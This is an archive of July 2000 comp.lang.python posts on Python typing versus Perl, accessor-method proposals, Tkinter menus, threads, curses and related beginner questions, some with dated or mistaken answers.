    Whoops, can't do it.  None can't be transformed into a list.

for x in range(10):
  if a:
    a.append(x)
  else
    a = [x]

   All that because of type checking?  Jumping through 3 hoops just to get
done what should be a trivial matter.

>>IE, ["abc"].  But, of course, dropping back from a list to a str isn't
>>perfect since you're going from a more complex structure into a simple data
>>set.

>How does Python know you want "['a','b','c']" instead of "['abc']"?
>(And wouldn't you *really* expect "abc"?)  It can't.  But logic
>suggests that ['aa', 'b', 'c'] isn't the same thing as ['a', 'a', 'b',
>'c'], yet your representation would say they are the same.

>This strikes me as type-based magic, which Python tries to avoid.

    No, it doesn't try to avoid.  If it did then 1 + 1.2 would fail.  I much
prefer the lack of types.  Also, please read what I left of my previous
message above where I made the same point in a more concise matter.

>Huh?  Python is a strongly typed language.  None is an instance (the
>sole instance, natch) of a NoneType variable.  Should NoneType things
>transmute themselves into other types of things at the drop of a hat?
>This sounds fishily like Perlish automagic conversion.

    I would call it perl's LACK of types.  And yes, if you're going to not
declare types but take them from context and also mutate that type based on
context let's not get hussy about it being a strongly typed language.  Either
mutate types as needed or don't mutate at all and force declarations.  Don't
go half-way and then pretend there aren't quirks to learning that system any
more than the others two.

>Which begs the question: why would you want to declare a variable
>without knowing what you're going to stick in it?

    To clear its value from previous runs.  As for not knowing what I'm going
to stick into it, I do know.  It is data.  Not types, data.  Just data,
nothing but data.

>(Incidentally, you're not creating a namespace, you're making an entry
>in a particular namespace...)

    True, my mistake.

>Hmm, works in JPython too.  And Python 2.0b1.  Maybe it's a feature ;-)

    If you could get None back (which you can so long as you assigned None to
something else before reassigning it) there can be some practical applications
to that.  

>I suspect Guido will tell you, "don't do that." ;-)

    I rather be able to do it at my leasure than have something, be it person
or program, tell me I cannot. 

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From alfinge at autosim.no  Thu Jul  6 04:32:39 2000
From: alfinge at autosim.no (Alf Inge Iversen)
Date: Thu, 06 Jul 2000 10:32:39 +0200
Subject: Python for EPOC?
Message-ID: <39644427.6036E82C@autosim.no>

Is there a Python interpreter and/or development environment available
for the EPOC operating system?

-AII


From sabren at manifestation.com  Fri Jul 14 15:00:50 2000
From: sabren at manifestation.com (Michal Wallace)
Date: Fri, 14 Jul 2000 15:00:50 -0400 (EDT)
Subject: proposal: accessor methods
Message-ID: <Pine.BSF.4.10.10007141454030.7715-100000@chi.pair.com>

Hey all,

I was just wondering if anyone else would find this useful:

I think that for a given object, it would be nice to define
specific accessor methods for variables, instead of having
to rely on __getattr__ and __setattr__.

For example, if I have an object like this:

o = Object()
o.x = 5

And I later decide that I want setting x to have some sort
of side effect, I'd like to be able to do this:

class Object:
   def __set_x(self, value):
       self.y = x * 2

This way I don't have to break code. I know I can already do this with
__setattr__, but it's clunky when I want different attributes to do
different things. In fact, I generally just tell __setattr__ to check
to see whether I've defined __set_x and call that.. And I wondered
if anyone else would want to have this built in.

Anyone?

Cheers,

- Michal
------------------------------------------------------------------------
www.manifestation.com  www.sabren.com  www.linkwatcher.com  www.zike.net
------------------------------------------------------------------------




From thomas at centurion.xs4all.nl  Mon Jul  3 07:18:27 2000
From: thomas at centurion.xs4all.nl (Thomas Wouters)
Date: Mon, 3 Jul 2000 13:18:27 +0200
Subject: Bug in math.frexp?
In-Reply-To: <14688.12945.528521.351944@cj42289-a.reston1.va.home.com>
References: <20000630221759.A1965@xyz.donetsk.ua> <LNBBLJKPBEHFEDALKOLCCELGGHAA.tim_one@email.msn.com> <14688.12945.528521.351944@cj42289-a.reston1.va.home.com>
Message-ID: <200007031118.NAA22787@centurion.xs4all.nl>

In comp.lang.python, you wrote:
>
>Tim Peters writes:
> > The docs are wrong.  I just checked in a repaired version of mathmodule.c.
> > Fred, would you please get the truth into the Library Reference Manual's
> > math module docs too?

>  --sigh--
>  So are the Solaris and Linux man pages wrong, or just confusing?
>Ok, I'll have something like your docstring checked in shortly.

Not sure which version of the Linux manpges you read, but the frexp manpage
that came with RedHat 6.1 more or less exactly mirrors Tim's description:

       The frexp() function returns the normalized fraction.   If
       the  argument  x is not zero, the normalized fraction is x
       times a power of two, and  is  always  in  the  range  1/2
       (inclusive) to 1 (exclusive).  If x is zero, then the nor?
       malized fraction is zero and zero is stored in exp.

The 'info' page about frexp states the same, in different wording. The
Solaris 2.5 manpage I have access to is indeed a bit confusing, but does
state the same: 'x' is in the range of [0.5, 1), or 0. That means the
exponent has to be able to be negative, when the original number was
negative.




From newsgroup at neutron.globalnet.co.uk  Thu Jul 20 10:33:13 2000
From: newsgroup at neutron.globalnet.co.uk (Sean Wilson)
Date: Thu, 20 Jul 2000 15:33:13 +0100
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l57fc$vi8$1@fermi.tro.net> <8l6pgt$fmc$1@newshost.accu.uu.nl>
Message-ID: <8l7kkl$2bv$2@gxsn.com>

Hi,

> From a game programming perspective, you can probably consider Python to
> be dirt-slow, though. The trade-off is a lot of power for speed, but
> that power can help you gain back speed because you can be a lot smarter.

Before I started trying to write my own scripted language I tried to find
some tutorials and articles on them but couldn't get them anywhere. Someone
directed me towards python but I couldn't find anything about the virtual
machine it uses. How does it work and why is it so slow?

My system is extremely simple and only allows assembly style instructions
but I cannot really see how it can be made faster. Using the 'Move
<Direction of movement> <Number of steps>' command, the following list of
integers are produced for Move Up 3 (where capitals are constant values):

CMD_MOVE
CONSTANT
DIR_UP
CONSTANT
3

I just have a big 'switch' statement which the first integer is sent to,
with each command having matching 'case' statement. The relevant command
code then reads in one parameter at a time, moving the current integer
pointer in the script forward after each. The parameters are then send to
the C++ Move function to be executed.

I found a tutorial on Flipcode which used a stack machine but this seems
very slow compared to this approach. One big disadvantage though of my
approach is that I'm allowing no compound statements (e.g. Move Up (1 + 2)),
but this isn't a problem since the game is based on a 2d tile map.

What other methods are there? How do professional games such as Unreal do
it?

Regards,

Sean Wilson
http://www.users.globalnet.co.uk/~neutron/programming




From swun at esec.com.au  Sun Jul  2 20:41:58 2000
From: swun at esec.com.au (Sam Wun)
Date: Mon, 03 Jul 2000 10:41:58 +1000
Subject: multiple inheritance in Python?
Message-ID: <395FE156.C0C13FBE@esec.com.au>

Does anyone have example of implement multiple inheritance in Python?



From hsl at tcp.co.uk  Tue Jul 11 00:41:32 2000
From: hsl at tcp.co.uk (Martin Rand)
Date: Tue, 11 Jul 2000 05:41:32 +0100
Subject: tkinter menus
References: <8kcmeb$m5r$1@nnrp1.deja.com> <5vujmsg8hdf54luae6e2c0jivv93qheu9h@4ax.com> <8kd2tk$3l$1@nnrp1.deja.com>
Message-ID: <vi7lms4dirkhhk7cr1kjfrjkgv5sp86e5d@4ax.com>

On Mon, 10 Jul 2000 17:59:28 GMT, Keith Murphy <kpmurphy at my-deja.com>
wrote:

>In article <5vujmsg8hdf54luae6e2c0jivv93qheu9h at 4ax.com>,
>  mwr at hsl.tcp.co.uk wrote:
>> On Mon, 10 Jul 2000 14:26:40 GMT, Keith Murphy <kpmurphy at my-deja.com>
>> wrote:
>>
>> >menu, menu... anyone, anyone?
>> >
>> >	How do you configure top-level menu entries?  I'd like to put a
>'help'
>> >menu (and possibly others) on the right end of the menu bar.  I've
>seen
>> >examples where you make your own frame... but there has to be a way
>> >built in... doesn't there?  :)
>> >
>> In Tkinter, when you use the appropriate geometry manager to put the
>> button in the menu bar. E.g:
>> helpButton = Menubutton(myMenuBar, ...)
>> helpButton.Pack(side=RIGHT, ...)
>>
>> Or if you're using Pmw, then you can do something like:
>> myMenuBar = Pmw.MenuBar(...)
>> myMenuBar.addmenu(side=RIGHT,...)
>>
>> --
>> Martin Rand
>> Highfield Software Ltd
>> mwr at highfield-software.co.uk
>> Phone: +44 (0)23 8025 2445
>> Fax:   +44 (0)23 8025 2445
>>
>
>
>well i am using a system menubar, not one i've created.  i'm using
>fredrik lundh's 'an introduction to tkinter'
>(http://www.pythonware.com/library/tkinter/introduction/index.htm) as my
>guide.  here is an example he uses:
>
># File: menu-example-2.py
>
>from Tkinter import *
>
>root = Tk()
>
>def hello():
>   print "hello!"
>
># create a toplevel menu
>menubar = Menu(root)
>menubar.add_command(label="Hello!", command=hello)
>menubar.add_command(label="Quit!", command=root.quit)
>
># display the menu
>root.config(menu=menubar)
>
>mainloop()
>
>
>
>...if you try and pack or anything, you will get the following message:
>TclError: can't pack ".1977984.1980464": it's a top-level window
>
>... any more help?  thanks :)
>
Well, you could go at it this way: 

##########################

from Tkinter import *

def doExit():
    pass  # Your code goes here...

root = Tk()
root.geometry("640x480") # Just to show packing works as expected
menubar = Frame(root)
menubar.pack(fill=X)

# If you want to add a drop-down...
hellobutton = Menubutton(menubar, text='Hello!')
hellobutton.pack(side=LEFT)
hellobutton.menu = Menu(hellobutton)  
# etc...
goodbyebutton = Menubutton(menubar, text='Goodbye!')
goodbyebutton.pack(side=LEFT)
goodbyebutton.menu = Menu(goodbyebutton)  
# etc....

# If you want to add an immediate action...
quitbutton = Button(menubar, text='Quit', relief=FLAT, command =
doExit)
quitbutton.pack(side=RIGHT)

root.mainloop()

#############################

But I must admit that it's to avoid this sort of grunt work that I go
for Pmw wherever I can...


--
Martin Rand
Highfield Software Ltd
mwr at highfield-software.co.uk
Phone: +44 (0)23 8025 2445
Fax:   +44 (0)23 8025 2445


From grey at despair.rpglink.com  Thu Jul 27 12:00:12 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Thu, 27 Jul 2000 16:00:12 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <8losor$4bk$1@nnrp1.deja.com>
Message-ID: <slrn8o0n0b.qhk.grey@teleute.rpglink.com>

On Thu, 27 Jul 2000 08:44:12 GMT, Jonathan <theebh at yahoo.com> wrote:
>Python's syntax now seem much 'cleaner' and intuitive. But then i guess
>you all shld have known this by now:)

    All depends on your point of view, really.  I actually prefer inline REs
and so far the lack of automatic type switching in Python has nailed me a few
times on a fairly simple script.  I prefer Perl because I don't have to think
about what the data is specifically.  Either it is scaler, a list or a hash.
Beyond that, it takes care of it.  In the script I just wrote Python had a
hissy fit when I had something like:
match = re.search(r'(1)(2)(3)',string)
foo = match.group(3)
for x in range(1,foo):
  print x

    Range returns an error because of a bad type being stuffed into it.  Perl
at least sees that it is a number and makes the conversion itself.  I had to
get around it by changing the foo assignment line to:
foo = int(match.group(3))

    But then that caused a problem because the regex I was using could either
return 2 or 4 matches.  So now the code looks like:

var1 = int(match.group(1))
var2 = int(match.group(2))
var3 = match.group(3)        # This is never an int, always a string.
if match.group(4):           # need to check since you cannot
  var4 = int(match.group(4)) # int() a None

    Maybe I am missing something, I mean this is my first script after "hello
world" and I've only got the Beazley book but I never hit those problems in
Perl.

    I personally don't think one is better than the other and to catagorically
state so is... limiting one's view, IMHO  There are things I like in Perl a
lot more than my experience with Python and there are things I like in Python
more than in Perl.  To counter this example of what I feel is a shortcoming in
Python I have to stress that I also, even with my limited experience with
Python, am finding things in Perl that I find sub-optimal compared to Python.

    I plan on using both until such a time when either something exceedingly
superior comes along or the designer(s) of either language mangle it so bad
that my love for the language is mushed.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From rpevans at my-deja.com  Tue Jul 18 05:27:03 2000
From: rpevans at my-deja.com (rpevans at my-deja.com)
Date: Tue, 18 Jul 2000 09:27:03 GMT
Subject: Pipes, Sockets and Threads
Message-ID: <8l17sr$bpa$1@nnrp1.deja.com>

I have extended Python with some purpose built functions, written in C
which communicate with a server process, via named pipes.  Initially I
called one of these functions (mylib.fred ) from main to initiate
communications with the server. Once stablished I then started a thread,
again a mylib function, to monitor the pipe connection set up
previously.  This is does but locks out the rest of the system. Only
when the thread receives data from the server does the rest of the
system run momentarily before again hanging. My first line of attack was
to put the function which initiated the comms in a separate thread so
divorcing the comms from main completely (I hoped). Now I have the
problem of communicating data ( pipe/socket fds) from my first thread
back to main and then to the second thread which inplements the select .

This I have miserabley failed to do.

Firstly the python script gives me an attribute error on the join I
perform to wait for the first thread to finish. I have tried join(),
thread.join() , what should I put?

Secondly how do I transfer variables from the C extension library to and
from the Python module.  I asume I can't return a value from a thread in
the argument list. I have tried declaring a variable as global in python
and external in C without much (ie any succcess ).

Could anyone tell me how I can implement complete asynchronicity between
my mian module and the communication threads. Is there a site with some
example Python threaded code. The library reference is quite sparse in
this area. The books I have bought (O Reilly) do not mention threaded
architecture. Is there a book which covers this?

Many thanks

Richard Evans


Sent via Deja.com http://www.deja.com/
Before you buy.


From walter111 at structurex.net  Fri Jul 14 23:41:08 2000
From: walter111 at structurex.net (walter hanagriff)
Date: Fri, 14 Jul 2000 22:41:08 -0500
Subject: help with tkinter coding
Message-ID: <396FDD54.E2DD84FF@structurex.net>

i got this file from a person on the list not too long ago, thanks for
this, it is better then what i was thinking of before
just 2 questions:
  first, how can i make the frame that is to the right of the first one
appear on the bottom of it instead
  second, how do i write more then just a label into the second frame,
in the second frame is going to be a new set of options depending on
which option was picked in the first frame, so how do i do that?
this code works as a standalone

-- File test.py
#!/usr/bin/python
from Tkinter import *

class Main:
    def __init__(self, root):
        # The top label.
        text = 'this program figures the area, perimeter, and power of
n'
        text = text + '\n' + '_'*len(text)
        Label(root, text=text).pack(side=TOP, fill=X)

        # The 'main' panel  to command the option frame to show.
        self.var = StringVar()
        self.var.set('power')
        main = Frame(root, bd=2, relief=SUNKEN)
        Radiobutton(main, text="1 = Find the power of a number",
value='power',
                    command=self.update_frame,
variable=self.var).pack(anchor=W)
        Radiobutton(main, text="2 = Find the area of a shape",
value='area',
                    command=self.update_frame,
variable=self.var).pack(anchor=W)
        Radiobutton(main, text="3 = Find the perimeter of a shape",
value='perim',
                    command=self.update_frame,
variable=self.var).pack(anchor=W)
        Button(main, text="Close", command=root.destroy).pack(padx=10,
pady=10)
        main.pack(side=LEFT, padx=5, pady=5)

        # Create 3 frames, one for each option.
        self.frames = { 'power': Frame(root),
                        'area':  Frame(root),
                        'perim': Frame(root) }

        # Populate the option frames at your convenience.
        prefix = 'this frame is where you put information to get '
        list = (('power', 'power of n'),
                ('area',  'the area of a shape'),
                ('perim', 'the perimeter of a shape'))
        for (frame_name, text) in list:
            frame = self.frames[frame_name]
            text = prefix + text
            text = text + '\n' + '_'*len(text)
            Label(frame, text=text).pack(expand=YES, fill=BOTH)

        # We start with one frame.
        self.update_frame()

    def update_frame(self):
        # Unpack every option frame.
        for n in self.frames.keys(): self.frames[n].pack_forget()
        # Pack the current option frame.
        self.frames[self.var.get()].pack(side=RIGHT)

if __name__== '__main__':
    root = Tk()
    root.title('test')
    start = Main(root)
    root.mainloop()
-- End of file

I throw up your class Func and swept a little your code. Hope this helps
?

Regards,
Jerome




From paul at prescod.net  Wed Jul 19 14:29:35 2000
From: paul at prescod.net (Paul Prescod)
Date: Wed, 19 Jul 2000 13:29:35 -0500
Subject: Documentation:  Is there in python anything like javadoc/doxygen?
References: <3975E869.68FA8CC@hotmail.com>
Message-ID: <3975F38F.7CE64CEF@prescod.net>

sorna wrote:
> 
> Hi,
> 
> I was wondereing if there is anythiong like javadoc/doxygen for python ?

http://www.python.org/sigs/doc-sig
http://www.lfw.org/python/

-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist



From cpr at emsoftware.com  Sun Jul 30 11:35:12 2000
From: cpr at emsoftware.com (Chris Ryland)
Date: Sun, 30 Jul 2000 15:35:12 GMT
Subject: Python plug-ins for Adobe Products available
References: <BvGg5.22$RZ2.62383@news.pacbell.net> <8m06l3$8s4$1@agate.berkeley.edu>
Message-ID: <QWXg5.377$0t4.3488@news>

I think Adobe should be greatly applauded for releasing Python APIs for
their products, making them much more accessible to the serious hackers,
rather than chastised for having proprietary software.

The overlap between people who could contribute to one of the free software
projects and the people who use Adobe graphics products for a living is
probably nil.
--
Cheers!
/ Chris Ryland, President / Em Software, Inc. / www.emsoftware.com
"Edward Jason Riedy" <ejr at lotus.CS.Berkeley.EDU> wrote in message
news:8m06l3$8s4$1 at agate.berkeley.edu...
> And Grant Munsey writes:
>  - Adobe has opened an open source site at http://opensource.adobe.com.
> [...]
>  - The Adobe Open Source license is reasonably liberal.
>
> While I'll grant that this is a good first step for Adobe, these
> are simply add-ons for proprietary software.  The add-ons are
> often available under moderate licenses.
>
> Meanwhile, there are existing free software projects that could
> use help.
>
> The Gimp + Gimp-Python (instead of Photoshop):
>   http://www.gimp.org/
>   http://www.daa.com.au/~james/pygimp/
>
> Sketch, which is implemented in Python (instead of Illustrator):
>   http://sketch.sourceforge.net/
>
> I'm not familiar with ``After Effects,'' but the description sounds
> like an extension of Broadcast2000:
>   http://heroinewarrior.com/bcast2000.html
> AFAIK, there's no Python associated with that project.  Perhaps there
> should be.  Integration with things like VTk (www.kitware.com) would
> be nice.  VTk has a Python binding, but not a very nice one.
>
> Jason




From jhauser at ifm.uni-kiel.de  Tue Jul 18 03:13:48 2000
From: jhauser at ifm.uni-kiel.de (Janko Hauser)
Date: 18 Jul 2000 09:13:48 +0200
Subject: Does Python have "not a number" floating point values?
References: <8l03pc$92co$1@nntp6.u.washington.edu> <slrn8n76tg.2jc.hzhu@rocket.knowledgetrack.com>
Message-ID: <878zuznc5v.fsf@ifm.uni-kiel.de>

This raised a floating point exception on an Alpha machine. At the
moment this is not portable.

__Janko

-- 
  Institut fuer Meereskunde             phone: 49-431-597 3989
  Dept. Theoretical Oceanography        fax  : 49-431-565876
  Duesternbrooker Weg 20                email: jhauser at ifm.uni-kiel.de
  24105 Kiel, Germany


From daniels at mindspring.com  Sat Jul  8 12:20:06 2000
From: daniels at mindspring.com (Alan Daniels)
Date: 8 Jul 2000 16:20:06 GMT
Subject: What about try:except:finally
References: <3967d908.363887342@news.online.no>
Message-ID: <slrn8me79q.j9.daniels@localhost.localdomain>

On Fri, 07 Jul 2000 13:20:25 GMT, Thomas Weholt <thomas at cintra.no> wrote:

[paraphrased...]
>Does python support, or if not, would it be cool to have support for
>try/except/finally?

No, but just use try/except/else instead. Why it's "else" instead of
"finally", I have no idea, but this works just fine. Example:

try:
    x = 1
except NameError:
    print "Ack!"
else:
    print "Woohoo!"



-- 
============================================================
Alan Daniels
daniels at mindspring.com


From neilh at scintilla.org  Sun Jul 30 20:01:33 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Mon, 31 Jul 2000 00:01:33 GMT
Subject: Calling C Function Pointers from Python
References: <8ltqvn$pbl$1@nnrp1.deja.com> <Uwug5.15044$4p3.118240@news-server.bigpond.net.au> <39840d9b_1@news.newsfeeds.com> <zUUg5.16220$4p3.129370@news-server.bigpond.net.au> <slrn8o879j.162.erwin@erwin.andreasen.org> <0mVg5.16257$4p3.129481@news-server.bigpond.net.au> <8m1jbq02ue9@news2.newsguy.com>
Message-ID: <xl3h5.16496$4p3.132334@news-server.bigpond.net.au>

> Couldn't the call_foreign_function be internally wrapped in a
> best-try attempt at handling any resulting errors more
> gracefully than with a crash?  E.g., on Win/NT, a SEH
> __try/__except; on Unix, a local attempt to handle any and
> all 'signal's resulting from wild pointers, etc.  No 100%
> safety by any means, of course, but maybe still better...?

   Yes, that is a good feature to add but I don't think it will satisfy the
view that Python should be safe from any such problems. This appears to be
the view of the BDFL.

   Neil





From bjorn at roguewave.com  Sat Jul 22 01:40:42 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Fri, 21 Jul 2000 23:40:42 -0600
Subject: New PEP: Attribute Access Handlers
References: <39791F0C.CDC13E79@prescod.net> <39792795.B5B0D18C@roguewave.com> <39792C74.E7E3DB2B@prescod.net>
Message-ID: <397933DA.46B072BF@roguewave.com>

Paul Prescod wrote:
> 
> Bjorn Pettersen wrote:
> >
> > Justification, Scenario 4:
> >
> >    An existing class has a string attribute, however the most common
> > operation on it is appending to the end. Through the profiler you find
> > that this operation is taking up 95% of the applications time. You want
> > to change the implementation to cStringIO for efficiency (total
> > execution time for your application goes from 90 seconds to 3 secs).
> 
> Actually, I'm not sure if my proposal would help here. Appending to a
> cStringIO is not an assignment operation...

The only requirement was that the attribute access (myObject.property)
stay the same, only instead of returning a string it would compute
.value() on the cStringIO object. I.e., original:

  class MyObject:
    def __init__(self,s):
      self.s = s

new version:

  class MyObject:
    def __init__(self,s):
      self._s = cStringIO.StringIO(s)
    def __getattr__(self, a):
      if a == 's':
        return self.__dict__['_s'].value()
      else:
        return self.__dict__[a]

so client code could continue looking like:

  myObject = MyObject('foobar')
  s = myObject.s

> > Perhaps you should add a few words about why you chose __attr_XXX__
> > instead of __set/get/del_XXX__?
> 
> That was actually the first proposal. But inheritance could get
> confusing if you inherited set without get or get without set etc.

Hmmm... I'm not quite sure I understand... With __set/get/del_XXX__
defined in a superclass you would automatically inherit all of them and
could choose to only override one of them, e.g. if you wanted to perform
further checks on a set but the get was the same.  With __attr_XXX__ you
would have to explicitly call the superclass' __attr_XXX__ method if you
didn't define all of set/get/del(?)  I have a feeling I'm missing
something...

-- bjorn



From cut_me_out at hotmail.com  Tue Jul 18 16:25:24 2000
From: cut_me_out at hotmail.com (Alex)
Date: 18 Jul 2000 16:25:24 -0400
Subject: In-memory file class?
References: <8l2ctp$8i3$1@nnrp1.deja.com>
Message-ID: <etd3dl7w5hn.fsf@w20-575-115.mit.edu>

Hi, Chris.

Check out the CStringIO module.  It does what you want.

Alex.


From wtanksle at dolphin.openprojects.net  Fri Jul 28 18:38:32 2000
From: wtanksle at dolphin.openprojects.net (William Tanksley)
Date: Fri, 28 Jul 2000 22:38:32 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com>
Message-ID: <slrn8o42r6.dti.wtanksle@dolphin.openprojects.net>

On Fri, 28 Jul 2000 18:15:56 GMT, Steve Lamb wrote:
>On Fri, 28 Jul 2000 18:57:33 +0200, Alex Martelli <alex at magenta.com> wrote:

>>a single string, but the % operator has the advantage of being
>>easily tailorable

>   I never did like the whole placeholder for actual values in print
>statements or other similar constructs.  I fail to see why one must do that
>instead of putting what you want there.

Of course, you can also do that -- just use concatenation.  Instead of

 "%s%s" % (var1,var2)

just use

 var1 + str(var2)

But that's an entirely seperate issue.

>>Two days?  It must be _at least_ 20 years that people on Usenet are putting
>>down other languages (and operating systems, applications, computers, etc)
>>for what they consider wrong.  Would you have us put them down for what we
>>consider _right_?-)

>    Yeah, yeah, I know this is Usenet.  So sue me for once in my life not
>wanting to have to come into a new culture and atmosphere without having
>everything that I have learned and liked up to this point blasted at every
>corner for some ego building, ok?  I think I've been at least fair to Python,
>all things consider.  I really do like the language, I guess I was just hoping
>too much from the people.

That's a really cruel statement for you to make.  I hope you were making
it in jest.  I've seen nothing to indicate anything waranting this kind of
attack.

>>That Python has this specific wart does not mean that a language that
>>has analogous and worse ones in a thousand places is just the same,
>>of course:-).

>    I'm not saying it is the same.  I am just refuting claims that Python
>doesn't have then and that they are, senseless, wretched, horrible or any
>other negative description people care to place on it.  It is different and as
>someone (you, mayhap?) said that even typing isn't good in all cases.

I know and like languages with far, FAR less typing than Perl (Forth has
absolutely none).  I don't like Perl.  I like Python.  I like ML.

Perhaps the issue isn't typing at all.

>         Steve C. Lamb

-- 
-William "Billy" Tanksley


From richard_chamberlain at ntlworld.com  Wed Jul 12 04:07:56 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Wed, 12 Jul 2000 09:07:56 +0100
Subject: Build Problem-- OverflowError: integer literal too large
References: <396C2422.9E281DD@mastnet.net>
Message-ID: <GFVa5.76$oN1.2181@news2-win.server.ntlworld.com>

Hi John,

The assignment below is a long not an int so you have to append an l or L on
the end.

Obviously you'll have to do this in the module as well, or find a newer
version of the module.

Richard

John Clonts <jclonts at mastnet.net> wrote in message
news:396C2422.9E281DD at mastnet.net...
> I have just installed python 1.5.2 from sources and built it for the
> first time on my Redhat 5.x system.  When trying to import module pgp I
> got a message
>
>    "OverflowError: integer literal too large"
>
> I traced it and can reproduce this error by typing interactively:
>
>     ii=4294967296
>
> (On my older python 1.3 this causes no such problem)
>
> I have searched the FAQ and have poked and pored through the install
> process, but have not come up with anything.
>
> Thanks for your help (please!) :)
>
> Cheers,
> John




From gee308 at mediaone.net  Mon Jul 24 19:13:33 2000
From: gee308 at mediaone.net (Toy)
Date: Mon, 24 Jul 2000 23:13:33 GMT
Subject: newb Q: security with variables
References: <397BE388.349CCA17@mediaone.net> <2kYe5.25991$1h3.418424@news20.bellglobal.com> <8li9dq$8do$1@nnrp1.deja.com>
Message-ID: <397CD2C4.8D28FE65@mediaone.net>

The link is broken, could you show me another link?

Jeremy Hylton wrote:

> In article <2kYe5.25991$1h3.418424 at news20.bellglobal.com>,
>   "Olivier Dagenais" <olivierS.dagenaisP at canadaA.comM> wrote:
> > How about encrypting the contents of the file?  Or using a One Time
> Password
> > challenge/response mechanism?
> >
>
> Pisces has support for password-based encryption of objects, which
> could be used to encrypt the file contents.
>
> http://www.cnri.reston.va.us/software/pisces/manual/module-
> pisces.pwcrypt.html
>
> Jeremy
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.



From sill at localhost.kitenet.net  Sat Jul  8 14:12:41 2000
From: sill at localhost.kitenet.net (Oldayz)
Date: Sat, 08 Jul 2000 18:12:41 GMT
Subject: [NEWBIE] Curses question
Message-ID: <smeropktnu126@corp.supernews.com>

Hello,

I've read curses howto at python.org and tried to make a simple script to see 
if I understood how it works. Unfortunately, it doesn't do anything - it starts
and immediately exits without producing any output or errors. Can someone 
please point out what I'm doing wrong. Here's the code:


#!/usr/bin/env python

import curses

stdscr = curses.initscr()
stdscr.addstr(1, 1, 'Test.')

I also tried adding a window with curses.newwin and writing something there, 
but it gives no output either.
-- 
	- Andrei


From sabren at manifestation.com  Mon Jul 24 13:13:40 2000
From: sabren at manifestation.com (Michal Wallace)
Date: Mon, 24 Jul 2000 13:13:40 -0400 (EDT)
Subject: Erm... might I suggest... (Re: New PEP: Attribute Access Handlers)
In-Reply-To: <397BF66A.EF8BDEF4@prescod.net>
Message-ID: <Pine.BSF.4.10.10007241234410.10720-100000@chi.pair.com>

On Mon, 24 Jul 2000, Paul Prescod wrote:

> > 3. Doesn't magically put any names in the class dict that weren't
> >    explicitly put there by the programmer.
> > 4. As a consequence of 3, doesn't preclude having a real attribute with
> >    the same name in either the class or instance dict.
> 
> Then I can only presume that you look up the __get_?? method *first*
> before falling back to the "real" version. That will slow down plain old
> ordinary "gets" when there is no __get_?? method.


The two dict idea does make sense. You could have a __handler__ dict,
and then the normal __dict__. __dict__ would work as today, containing
normal values. __handler__ would contain accessor methods, marked as
being the special type to distinguish them from any other
methods... Or something else.

The "something else" could be any number of things:

1. "None", in which case you go look up the value again in __dict__
   (which I'd guess is a performance issue to your way of thinking)

2. A reference to the same value in "dict". This would mean you'd
   have to update both dicts, and keep them in sync.

3. A reference to a "default" accessor method (builtin), which 
   probably looks pretty much like the current getattr/setattr/delattr.


The dictionaries would look like this:

obj.__handler__={"__set_x_": Magic_Type_Pointing_To_set_x_Method}
obj.__dict__["x"] = "value for x"


__handler__ would be a special kind of dict. Sort of like this,
but built-in:

class HandlerDict (UserDict):
    def get(self, key):
         try:
            return self.data[key]
         except KeyError:
            if key[2:5]=="set":
                return old_setattr
            elif key[2:5]=="get":
                return old_getattr
            elif key[2:5]=="del":
                return old_delattr


You'd still have to look up the thing again in the other dict, but
you'd eliminate. Plus the handler dict could be copied directly when
inheriting, so it would always be a one step search to get the
handler, and the handlers would act only on __dict__.

---

I was going to suggest doing this as a mixin class, but the current
getattr/settattr/delattr doesn't seem to allow it when there's already
a value in the dict:

>>> class Model:
...    def __getattr__(self, key):
...        return 5
...
>>> m = Model()
>>> m.six = 6
>>> m.six
6
>>> m.five
5



Cheers,

- Michal
------------------------------------------------------------------------
www.manifestation.com  www.sabren.com  www.linkwatcher.com  www.zike.net
------------------------------------------------------------------------




From gpepice1 at nycap.rr.com  Fri Jul 28 22:17:12 2000
From: gpepice1 at nycap.rr.com (gbp)
Date: Sat, 29 Jul 2000 02:17:12 GMT
Subject: grouping in regular expressions.
References: <8l1iue$j3e$1@nnrp1.deja.com>
Message-ID: <39823F66.5CD5CB3E@nycap.rr.com>

I belive there is actually a module JUST to parse out IP addresses and
related things... might what to try to find it.

kaevee at my-deja.com wrote:

> I am finding it difficult to match the ip address in the
> following line using re module.
>
> "       inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0"
>
> here is the expression I used.
>
> re.compile('\s+inet addr:(\d+\.\d+\.\d+\.\d+)\s+.*')
>
> I am not able to make out where i am making a mistake.
>
> Tons of thanks in advance,
>
> Regards,
>
> kaevee
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.



From frankc at colconsulting.com  Sat Jul  1 00:56:30 2000
From: frankc at colconsulting.com (Frank V. Castellucci)
Date: Sat, 01 Jul 2000 00:56:30 -0400
Subject: Class design: accessing "private" members
References: <962352843.1667731268@news.libertysurf.fr> <8jhuvn01vs0@news2.newsguy.com> <962367319.379353174@news.libertysurf.fr>
Message-ID: <395D79FE.4E4FDBCE@colconsulting.com>

